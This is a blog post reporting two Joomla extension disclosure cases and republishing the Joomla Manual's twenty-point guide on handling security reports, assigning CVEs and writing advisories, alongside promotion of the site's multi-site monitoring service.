&lt;p&gt;We have spent this year on the reporting end of this process. In &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a single month we found and disclosed nineteen security issues&lt;/a&gt; in widely used Joomla extensions, and there have been many more since. That means we have watched the twenty points below get followed and skipped, one vendor at a time, in real cases with real site owners on the other end.&lt;/p&gt;
&lt;p&gt;Two of those cases map onto the twenty points so exactly that they read like the worked examples.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Point 17 says do not hide security fixes in vague language.&lt;/strong&gt; JoomShaper shipped Helix3 3.1.1 with a changelog entry that read, in its entirety, &quot;Security Update&quot;. That release &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;closed an unauthenticated file write, an arbitrary file delete, a template-settings overwrite, an authenticated upload route to code execution, a stored XSS, a leaked API key and a ratings-abuse hole&lt;/a&gt;. Helix3 sits under a large share of the Joomla sites in the world. Every administrator looking at that line had to decide whether to schedule an update, and the line gave them nothing to decide with.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Points 11 and 12 say get the CVE before disclosure and always offer the reporter credit.&lt;/strong&gt; We reported three flaws in JoomShaper&apos;s EasyStore on 21 July 2026, including one where any logged-in customer could read every other customer&apos;s invoice by editing a URL. The vendor acknowledged the next day, confirmed all three, and shipped the fix in 2.0.2 within 24 hours, which is the part of this they got right and deserve credit for. But &lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;the release carried no advisory, no coordinated disclosure date, no CVE request and no credit&lt;/a&gt;. We took the issues to the Joomla CNA ourselves, which assigned CVE-2026-65759, CVE-2026-65760 and CVE-2026-65761 on 23 July 2026.&lt;/p&gt;
&lt;p&gt;In both cases the vulnerability itself was the least interesting part. Every codebase has them, which is where the Manual page opens. What separated a decent outcome from a bad one was the communication after the fix already existed, and that is the part a developer can settle permanently by writing a policy down once.&lt;/p&gt;
&lt;h2&gt;How Do You Know Which of Your Joomla Sites Are Affected?&lt;/h2&gt;
&lt;p&gt;A perfect advisory still only helps you if you can answer one question quickly: which of my sites run this extension, and on what version? For an agency with fifty Joomla sites that question currently means fifty administrator logins, and it has to be answered on the day the advisory is published, not the following week.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does. It keeps a live inventory of every extension on every connected Joomla and WordPress site, with the installed version on each, so a new advisory becomes one search rather than an afternoon. Our vulnerability database flags sites running a version a vendor has patched, including the extension-level issues that Joomla&apos;s own update system says nothing about, and the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;site audit&lt;/a&gt; covers the file and database checks that tell you whether an exposed site was reached before you got to it. If you are looking after more than a handful of sites, the &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;multi-site Joomla tooling&lt;/a&gt; is the part of the subscription that turns an advisory into a work list.&lt;/p&gt;
&lt;p&gt;Tooling tells you which sites to look at, but it cannot tell you a release was a security release when the vendor never said so. That half of the problem is the one only extension developers can solve, which is why the page below matters more than anything we could build.&lt;/p&gt;
&lt;h2&gt;What Does the New Manual Page Ask Developers to Do?&lt;/h2&gt;
&lt;p&gt;Read end to end, the twenty points fall into four groups.&lt;/p&gt;
&lt;p&gt;Points 1 and 2 are the only two you can finish today, with no incident in progress. Publish a security contact and a policy that says how reports are received, how fast you respond, how disclosure is coordinated and whether you credit reporters. Put a &lt;code&gt;SECURITY.md&lt;/code&gt; in the repository, and say explicitly that reports should not go in the public issue tracker.&lt;/p&gt;
&lt;p&gt;Once a report is live, points 3 to 8 take over. Acknowledge within one business day, assess within three to five, validate what is actually affected, score it with CVSS 4.0 rather than arbitrary labels, build the fix in a private branch with a regression test that fails before and passes after, and check whether the flaw reaches beyond your own code into a bundled library or another vendor&apos;s product.&lt;/p&gt;
&lt;p&gt;Going public is points 9 to 15, and it is where Joomla extension vendors most often come unstuck. Agree a disclosure date rather than an indefinite embargo, request the CVE ID from &lt;code&gt;security@joomla.org&lt;/code&gt; before you publish so the first advisory carries it, ask the reporter how they want to be credited and confirm the wording, publish a structured advisory with affected versions, fixed versions, severity, impact and timeline, and explain the flaw well enough for an administrator to assess their risk without handing out a working exploit.&lt;/p&gt;
&lt;p&gt;The last five deal with the aftermath. Push the notice through channels people actually watch, keep the changelog honest, preserve an internal timeline, handle already-public reports without treating the researcher as hostile, and state in writing that good-faith research will not be met with legal threats.&lt;/p&gt;
&lt;p&gt;The whole text follows.&lt;/p&gt;
&lt;h2&gt;The New Manual Page, Republished in Full&lt;/h2&gt;
&lt;div&gt;
  &lt;p&gt;Source, author and licence&lt;/p&gt;
  &lt;p&gt;Everything from here to the end of point 20 is the work of &lt;strong&gt;David Jardin&lt;/strong&gt;, Team Leader of the Joomla Security Strike Team, and the &lt;strong&gt;Joomla! Project&lt;/strong&gt;, taken from &lt;code&gt;docs/building-extensions/security.md&lt;/code&gt; as merged into the Joomla Manual by &lt;a href=&quot;https://github.com/joomla/Manual/pull/695&quot;&gt;pull request 695&lt;/a&gt; on 10 August 2026. It is republished here under the &lt;a href=&quot;https://docs.joomla.org/JEDL&quot;&gt;Joomla! Electronic Documentation License&lt;/a&gt;, which is the licence the Joomla Manual carries. No words have been changed. Documentation frontmatter and section rules were dropped, heading levels were mapped onto this page, four of the author&apos;s pull-quotes were restyled as callout boxes, and one relative link was rewritten to its live address on manual.joomla.org. Full attribution, licence notice and source-form links are in the footer below.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Secure Coding Guidelines&lt;/h2&gt;
&lt;p&gt;For general information about security development of Joomla extensions, see the generic &lt;a href=&quot;https://manual.joomla.org/docs/next/security/fundamentals/&quot;&gt;Security&lt;/a&gt; section.&lt;/p&gt;
&lt;h2&gt;Policies and Best Practices&lt;/h2&gt;
&lt;p&gt;It&apos;s barely a question &lt;em&gt;if&lt;/em&gt; your extension will ever have a security vulnerability, it&apos;s just a matter of when. So, establishing security best practices, policies and workflows is a vital part of developing Joomla extensions.&lt;/p&gt;
&lt;h3&gt;1. Establish a clear security reporting channel&lt;/h3&gt;
&lt;p&gt;Every publicly available Joomla extension should provide an obvious way to report security vulnerabilities.&lt;/p&gt;
&lt;p&gt;Recommended:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A dedicated security contact such as &lt;code&gt;security@example.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;SECURITY.md&lt;/code&gt; file in the source repository&lt;/li&gt;
&lt;li&gt;A security page on the vendor website&lt;/li&gt;
&lt;li&gt;Clear instructions on what information should be included&lt;/li&gt;
&lt;li&gt;An explicit statement that security reports should &lt;strong&gt;not&lt;/strong&gt; be submitted through public issue trackers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The reporting channel should ideally support encrypted communication for sensitive reports.&lt;/p&gt;
&lt;p&gt;A security policy should state:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How reports are received&lt;/li&gt;
&lt;li&gt;Expected response times&lt;/li&gt;
&lt;li&gt;How vulnerabilities are handled&lt;/li&gt;
&lt;li&gt;How disclosure is coordinated&lt;/li&gt;
&lt;li&gt;Whether reporters are credited&lt;/li&gt;
&lt;li&gt;Whether CVE IDs are assigned&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This follows the general principles of &lt;strong&gt;ISO/IEC 29147&lt;/strong&gt;, which covers receiving vulnerability reports and communicating remediation information.&lt;/p&gt;
&lt;h3&gt;2. Treat security reports confidentially&lt;/h3&gt;
&lt;p&gt;A vulnerability report should initially be treated as confidential.&lt;/p&gt;
&lt;p&gt;Do &lt;strong&gt;not&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a public GitHub issue&lt;/li&gt;
&lt;li&gt;Publish the proof of concept&lt;/li&gt;
&lt;li&gt;Discuss the vulnerability publicly&lt;/li&gt;
&lt;li&gt;Include exploit details in public commit messages or changelogs&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;until a coordinated disclosure date has been agreed upon.&lt;/p&gt;
&lt;p&gt;Internally, the report should receive a unique tracking ID and have a clearly defined owner.&lt;/p&gt;
&lt;p&gt;A useful lifecycle is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Reported
   ↓
Acknowledged
   ↓
Validated
   ↓
Severity assessed
   ↓
Fix developed
   ↓
Fix verified
   ↓
CVE assigned
   ↓
Coordinated disclosure
   ↓
Public advisory
   ↓
Post-disclosure monitoring
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Acknowledge the reporter quickly&lt;/h3&gt;
&lt;p&gt;A reporter should receive an acknowledgement even if the vulnerability has not yet been validated.&lt;/p&gt;
&lt;p&gt;Recommended targets:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Within 1 business day:&lt;/strong&gt; acknowledge receipt&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Within 3–5 business days:&lt;/strong&gt; provide an initial assessment&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;During longer investigations:&lt;/strong&gt; provide regular status updates&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The acknowledgement should explain:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;That the report was received&lt;/li&gt;
&lt;li&gt;Who is handling it&lt;/li&gt;
&lt;li&gt;Whether additional information is required&lt;/li&gt;
&lt;li&gt;What the next steps are&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. Validate the vulnerability&lt;/h3&gt;
&lt;p&gt;The maintainer should establish:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Affected extension/component&lt;/li&gt;
&lt;li&gt;Affected versions&lt;/li&gt;
&lt;li&gt;Supported Joomla versions&lt;/li&gt;
&lt;li&gt;Attack prerequisites&lt;/li&gt;
&lt;li&gt;Required user privileges&lt;/li&gt;
&lt;li&gt;Whether authentication is required&lt;/li&gt;
&lt;li&gt;Whether user interaction is required&lt;/li&gt;
&lt;li&gt;Actual security impact&lt;/li&gt;
&lt;li&gt;Exploitability&lt;/li&gt;
&lt;li&gt;Whether the issue has already been publicly disclosed&lt;/li&gt;
&lt;li&gt;Whether another vendor or dependency is affected&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The reporter should be given the opportunity to provide additional technical information or a proof of concept.&lt;/p&gt;
&lt;h3&gt;5. Distinguish security bugs from ordinary bugs&lt;/h3&gt;
&lt;p&gt;Not every bug is a security vulnerability.&lt;/p&gt;
&lt;p&gt;Examples of typical security vulnerabilities include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SQL Injection&lt;/li&gt;
&lt;li&gt;Cross-Site Scripting (XSS)&lt;/li&gt;
&lt;li&gt;Cross-Site Request Forgery (CSRF)&lt;/li&gt;
&lt;li&gt;Authentication bypass&lt;/li&gt;
&lt;li&gt;Authorization/access-control bypass&lt;/li&gt;
&lt;li&gt;Privilege escalation&lt;/li&gt;
&lt;li&gt;Arbitrary file upload&lt;/li&gt;
&lt;li&gt;Arbitrary file deletion&lt;/li&gt;
&lt;li&gt;Path traversal&lt;/li&gt;
&lt;li&gt;Remote or local code execution&lt;/li&gt;
&lt;li&gt;Sensitive information disclosure&lt;/li&gt;
&lt;li&gt;Insecure deserialization&lt;/li&gt;
&lt;li&gt;Server-Side Request Forgery (SSRF)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A vulnerability should be assessed based on its &lt;strong&gt;security impact&lt;/strong&gt;, not merely on how severe the underlying coding mistake appears.&lt;/p&gt;
&lt;h3&gt;6. Assess severity consistently&lt;/h3&gt;
&lt;p&gt;Use a standardized scoring system rather than arbitrary labels such as &quot;critical&quot; or &quot;minor&quot;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CVSS 4.0&lt;/strong&gt; is the recommended standard for communicating vulnerability severity.&lt;/p&gt;
&lt;p&gt;At minimum, record:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CVSS:4.0/...
Base Score: 8.3
Severity: High
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also document the practical prerequisites, for example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Affected functionality: Administrator
Exploitability: Requires authenticated Joomla user
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Do not treat the CVSS Base Score as the complete risk assessment. Consider the actual deployment environment and current threat situation as well.&lt;/p&gt;
&lt;h3&gt;7. Develop the fix privately&lt;/h3&gt;
&lt;p&gt;The fix should be developed without exposing the vulnerability.&lt;/p&gt;
&lt;p&gt;Recommended practices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Private branch&lt;/li&gt;
&lt;li&gt;Private repository where necessary&lt;/li&gt;
&lt;li&gt;Security-specific test cases&lt;/li&gt;
&lt;li&gt;Regression tests&lt;/li&gt;
&lt;li&gt;Review by at least one additional developer&lt;/li&gt;
&lt;li&gt;Testing against all supported Joomla versions&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The security fix should ideally include a regression test that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Fails against the vulnerable implementation&lt;/li&gt;
&lt;li&gt;Passes against the fixed implementation&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;8. Consider downstream dependencies&lt;/h3&gt;
&lt;p&gt;A Joomla extension may itself contain or depend on other software.&lt;/p&gt;
&lt;p&gt;Before disclosure, check whether the vulnerability also affects:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Joomla itself&lt;/li&gt;
&lt;li&gt;Another Joomla extension&lt;/li&gt;
&lt;li&gt;A third-party PHP library&lt;/li&gt;
&lt;li&gt;JavaScript dependencies&lt;/li&gt;
&lt;li&gt;An API or external service&lt;/li&gt;
&lt;li&gt;Another vendor&apos;s product&lt;/li&gt;
&lt;li&gt;Bundled or copied code&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If multiple parties are affected, use &lt;strong&gt;Coordinated Vulnerability Disclosure (CVD)&lt;/strong&gt; rather than disclosing independently.&lt;/p&gt;
&lt;h3&gt;9. Coordinate a disclosure date&lt;/h3&gt;
&lt;p&gt;The goal should not be to keep a vulnerability secret indefinitely.&lt;/p&gt;
&lt;p&gt;Instead, agree on a reasonable disclosure timeline.&lt;/p&gt;
&lt;p&gt;A practical model:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Day 0       Report received
Day 1       Acknowledgement
Day 3–5     Initial assessment
             ↓
             Fix development
             ↓
             CVE coordination
             ↓
             Fixed version released
             ↓
             Public advisory
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exact timeline should depend on severity and exploitability.&lt;/p&gt;
&lt;p&gt;For a vulnerability that is already being exploited in the wild, the process should be accelerated substantially.&lt;/p&gt;
&lt;p&gt;For vulnerabilities affecting several vendors, the disclosure date should be coordinated between all relevant parties.&lt;/p&gt;
&lt;h3&gt;10. CVE IDs&lt;/h3&gt;
&lt;p&gt;A &lt;strong&gt;CVE ID identifies a vulnerability&lt;/strong&gt;, not a software release or a particular patch.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CVE-2026-12345
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;is associated with the vulnerability itself.&lt;/p&gt;
&lt;p&gt;Do &lt;strong&gt;not&lt;/strong&gt; create a separate CVE merely because different releases address the same vulnerability.&lt;/p&gt;
&lt;p&gt;Separate vulnerabilities should normally receive separate CVE IDs.&lt;/p&gt;
&lt;h4&gt;Joomla extensions&lt;/h4&gt;
&lt;p&gt;Joomla extension developers can request a CVE ID from the Joomla security team by contacting:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;security@joomla.org
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The CVE assignment should be coordinated with Joomla&apos;s &lt;strong&gt;CVE Numbering Authority (CNA)&lt;/strong&gt; rather than inventing or requesting an arbitrary CVE number.&lt;/p&gt;
&lt;h3&gt;11. Assign the CVE before public disclosure&lt;/h3&gt;
&lt;p&gt;Ideally, the first public security advisory should already contain the CVE ID.&lt;/p&gt;
&lt;p&gt;Extension developers can request the CVE ID from:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;security@joomla.org
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;before public disclosure so that it can be included in the initial announcement.&lt;/p&gt;
&lt;p&gt;The CVE ID should be associated with the vulnerability and consistently referenced across:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Security advisory&lt;/li&gt;
&lt;li&gt;Changelog&lt;/li&gt;
&lt;li&gt;Release notes&lt;/li&gt;
&lt;li&gt;CVE record&lt;/li&gt;
&lt;li&gt;Joomla security communication&lt;/li&gt;
&lt;li&gt;Other relevant security databases&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Follow the current CVE Program and CNA publication requirements and coordinate embargoes where applicable.&lt;/p&gt;
&lt;h3&gt;12. Credit the security researcher&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Always offer appropriate credit to the reporter.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;This vulnerability was responsibly reported by
Jane Doe (@janedoe).

We thank Jane for responsibly reporting this issue
and helping us improve the security of this extension.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Never publish a reporter&apos;s name, handle, company or other identifying information without their consent.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Ask the reporter exactly how they want to be credited.&lt;/p&gt;
&lt;p&gt;Possible choices include:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Name:
Jane Doe

Handle:
@janedoe

Organization:
Security Research Lab

Anonymous:
Yes
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Confirm that the proposed credit is acceptable before publication.&lt;/p&gt;
&lt;h3&gt;13. Publish a security advisory&lt;/h3&gt;
&lt;p&gt;Do not rely exclusively on a generic changelog such as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.4.2
- Various bug fixes and improvements
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Publish a dedicated security advisory.&lt;/p&gt;
&lt;p&gt;A proper advisory should contain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Security Advisory

Product
Example Joomla Extension

Vulnerability
Stored Cross-Site Scripting

CVE
CVE-2026-12345

Affected Versions
1.0.0 – 1.4.1

Fixed Versions
1.4.2 and later

Severity
High

CVSS
CVSS:4.0/...

Impact
An authenticated user with ... can ...

Description
...

Solution
Update to version 1.4.2 or later.

Credits
Reported by Jane Doe.

Timeline
2026-07-01  Report received
2026-07-02  Vulnerability confirmed
2026-07-15  Fix released
2026-07-15  Advisory published
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla&apos;s own security advisories provide a useful model: they identify affected versions, impact, severity, exploit type, report/fix dates, CVE number, description, solution and reporter.&lt;/p&gt;
&lt;h3&gt;14. Tell users what they need to do&lt;/h3&gt;
&lt;p&gt;The most important information for users is:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Am I affected, and what should I do?&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Every advisory should clearly state:&lt;/p&gt;
&lt;h4&gt;Affected versions&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;Versions 2.0.0 through 2.4.7 are affected.
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Fixed versions&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;Upgrade to 2.4.8 or later.
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Recommended action&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;All users running an affected version should update immediately.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If updating is not possible, provide a mitigation where one genuinely exists.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Until the extension can be updated, disable the affected
administrator endpoint.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Do not recommend a mitigation that has not been tested.&lt;/p&gt;
&lt;h3&gt;15. Explain the vulnerability without unnecessarily publishing an exploit&lt;/h3&gt;
&lt;p&gt;A security advisory should provide enough information for administrators to understand the risk.&lt;/p&gt;
&lt;p&gt;It should answer:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What is the vulnerability?&lt;/li&gt;
&lt;li&gt;Who can exploit it?&lt;/li&gt;
&lt;li&gt;Is authentication required?&lt;/li&gt;
&lt;li&gt;What can an attacker accomplish?&lt;/li&gt;
&lt;li&gt;Which versions are affected?&lt;/li&gt;
&lt;li&gt;Is exploitation known?&lt;/li&gt;
&lt;li&gt;How can users fix it?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A vendor does &lt;strong&gt;not necessarily need to publish a working exploit/PoC&lt;/strong&gt; immediately.&lt;/p&gt;
&lt;p&gt;Especially for high-impact vulnerabilities, avoid publishing exploit details that materially increase the risk to users who have not yet updated.&lt;/p&gt;
&lt;p&gt;The principle should be:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Transparency sufficient for risk assessment, without unnecessarily increasing exploitability.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;16. Notify users through appropriate channels&lt;/h3&gt;
&lt;p&gt;Security fixes should be communicated through channels users actually monitor.&lt;/p&gt;
&lt;p&gt;Depending on the extension:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Extension update mechanism&lt;/li&gt;
&lt;li&gt;Joomla Extension Directory&lt;/li&gt;
&lt;li&gt;Vendor website&lt;/li&gt;
&lt;li&gt;Security advisory page&lt;/li&gt;
&lt;li&gt;Mailing list&lt;/li&gt;
&lt;li&gt;RSS feed&lt;/li&gt;
&lt;li&gt;GitHub Security Advisory&lt;/li&gt;
&lt;li&gt;Newsletter&lt;/li&gt;
&lt;li&gt;Social media, where appropriate&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Joomla Security Centre provides a public security announcement feed that users can subscribe to.&lt;/p&gt;
&lt;p&gt;For particularly severe vulnerabilities, do not rely exclusively on a changelog.&lt;/p&gt;
&lt;h3&gt;17. Do not hide security fixes in vague language&lt;/h3&gt;
&lt;p&gt;Avoid:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Various bug fixes and improvements
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;when a security vulnerability was fixed.&lt;/p&gt;
&lt;p&gt;Prefer:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Security: Fixed an authenticated SQL injection vulnerability
in the administrator filtering functionality.

CVE-2026-12345
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Security transparency helps users make informed decisions about updates.&lt;/p&gt;
&lt;h3&gt;18. Preserve the disclosure timeline&lt;/h3&gt;
&lt;p&gt;Maintain an internal timeline for every security issue:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2026-07-01  Vulnerability reported
2026-07-01  Report acknowledged
2026-07-03  Vulnerability confirmed
2026-07-04  CVE requested
2026-07-08  Fix completed
2026-07-10  Fix provided to reporter for verification
2026-07-12  Fixed release published
2026-07-12  CVE published
2026-07-12  Security advisory published
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is useful for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Internal audits&lt;/li&gt;
&lt;li&gt;Communication with researchers&lt;/li&gt;
&lt;li&gt;CVE records&lt;/li&gt;
&lt;li&gt;Incident response&lt;/li&gt;
&lt;li&gt;Process improvements&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;19. Handle reports that are already public&lt;/h3&gt;
&lt;p&gt;Sometimes a researcher publishes a vulnerability before contacting the vendor.&lt;/p&gt;
&lt;p&gt;Do not automatically treat this as malicious.&lt;/p&gt;
&lt;p&gt;Instead:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Acknowledge the report&lt;/li&gt;
&lt;li&gt;Assess the vulnerability&lt;/li&gt;
&lt;li&gt;Determine whether a CVE already exists&lt;/li&gt;
&lt;li&gt;Coordinate with the reporter where possible&lt;/li&gt;
&lt;li&gt;Release a fix as quickly as practical&lt;/li&gt;
&lt;li&gt;Publish an advisory&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The CVE process also provides mechanisms for vulnerabilities that have already been publicly disclosed.&lt;/p&gt;
&lt;h3&gt;20. Do not retaliate against good-faith researchers&lt;/h3&gt;
&lt;p&gt;A responsible disclosure process should explicitly state that good-faith security research is welcome.&lt;/p&gt;
&lt;p&gt;A useful policy statement is:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;We welcome good-faith security research and responsible vulnerability disclosure. Researchers who follow this policy will not be subject to legal action by us solely for activities conducted in accordance with this policy.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;However, define reasonable boundaries around:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Accessing other users&apos; data&lt;/li&gt;
&lt;li&gt;Destructive testing&lt;/li&gt;
&lt;li&gt;Denial-of-service testing&lt;/li&gt;
&lt;li&gt;Social engineering&lt;/li&gt;
&lt;li&gt;Automated scanning of third-party infrastructure&lt;/li&gt;
&lt;li&gt;Persistence&lt;/li&gt;
&lt;li&gt;Data exfiltration&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Credit, Licence and the Pull Request&lt;/h2&gt;
&lt;div&gt;
  &lt;p&gt;End of the republished work&lt;/p&gt;
  &lt;p&gt;The twenty numbered practices above are the work of David Jardin and the Joomla! Project, not of mySites.guru.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Author.&lt;/strong&gt; David Jardin, &lt;a href=&quot;https://volunteers.joomla.org/teams/security-strike-team&quot;&gt;Team Leader of the Joomla Security Strike Team&lt;/a&gt;, the group that receives security reports for the project and operates Joomla&apos;s CVE Numbering Authority. He contributes to the Joomla repositories as &lt;a href=&quot;https://github.com/SniperSister&quot;&gt;SniperSister&lt;/a&gt;, and has led the JSST since 2021.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Copyright.&lt;/strong&gt; The Joomla! Project and its contributors. The Joomla! Electronic Documentation License is itself copyright 2007 Open Source Matters, Inc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source.&lt;/strong&gt; &lt;a href=&quot;https://github.com/joomla/Manual/pull/695&quot;&gt;joomla/Manual pull request 695&lt;/a&gt;, opened and merged on 10 August 2026, adding &lt;code&gt;docs/building-extensions/security.md&lt;/code&gt;. The source form of the work, in the plain Markdown it was written in, is available free of charge over the internet: &lt;a href=&quot;https://raw.githubusercontent.com/joomla/Manual/main/docs/building-extensions/security.md&quot;&gt;read the raw file&lt;/a&gt; on the Manual&apos;s &lt;code&gt;main&lt;/code&gt; branch, &lt;a href=&quot;https://raw.githubusercontent.com/joomla/Manual/a0912738de97dafb781fe3ca472bdb150d9dbeca/docs/building-extensions/security.md&quot;&gt;read the exact revision republished here&lt;/a&gt; at merge commit &lt;code&gt;a091273&lt;/code&gt;, or &lt;a href=&quot;https://github.com/joomla/Manual/pull/695/files&quot;&gt;browse the diff&lt;/a&gt;. The merged text is identical to what is reproduced above. It is now published on the documentation site as &lt;a href=&quot;https://manual.joomla.org/docs/next/building-extensions/security/&quot;&gt;Building Extensions: Security&lt;/a&gt;, currently under the &lt;code&gt;next&lt;/code&gt; documentation version. This page is itself available in Markdown source form by requesting it with an &lt;code&gt;Accept: text/markdown&lt;/code&gt; header.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Licence.&lt;/strong&gt; The Joomla Manual is published under the &lt;a href=&quot;https://docs.joomla.org/JEDL&quot;&gt;Joomla! Electronic Documentation License&lt;/a&gt; (&lt;a href=&quot;https://github.com/joomla/Manual/blob/main/LICENSE&quot;&gt;full text in the repository&lt;/a&gt;). That licence applies to the republished work above. As its conditional permissions require, mySites.guru grants a Grantback License to the author and a Copyleft License to everyone who receives this page, so the Joomla project may take this material back into its authoritative documentation and anyone downstream may propagate it on the same terms. The JEDL covers electronic media only, so reproducing it in print needs separate permission from the Joomla project.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Status.&lt;/strong&gt; Pull request 695 was merged into the Joomla Manual&apos;s &lt;code&gt;main&lt;/code&gt; branch on 10 August 2026 at 11:05 UTC, thirteen minutes after David opened it, by Harald Leithner. The text above is therefore official Joomla developer documentation. It is not an enforced requirement: nothing checks whether an extension follows it, and no Joomla Extensions Directory rule is attached to it. Separately, the JEDL grants no right to represent republished material as official or endorsed, so to be clear, the upstream Manual page is official Joomla documentation and this republication of it is not endorsed by the Joomla project.&lt;/p&gt;
&lt;p&gt;If you maintain a Joomla extension, the merge is not the end of the conversation. Points 3 and 9, the response-time targets and the disclosure timeline, are the ones most likely to need a reality check from people shipping extensions with small teams, and a one-day acknowledgement target reads differently when the maintainer is one person with a day job. That feedback now belongs in a fresh issue or pull request on the &lt;a href=&quot;https://github.com/joomla/Manual/issues&quot;&gt;joomla/Manual repository&lt;/a&gt; rather than a review comment on a closed pull request.&lt;/p&gt;
&lt;p&gt;Our own view, from the reporting side: point 1 is the one to act on this week. A &lt;code&gt;SECURITY.md&lt;/code&gt; and a published contact address costs an afternoon, works before you ever have an incident, and is the difference between a researcher reaching you privately and a researcher giving up and publishing.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/next/building-extensions/security/&quot;&gt;Joomla Manual: Building Extensions, Security&lt;/a&gt; - the page reproduced above, read at source on the official documentation site.&lt;/li&gt;
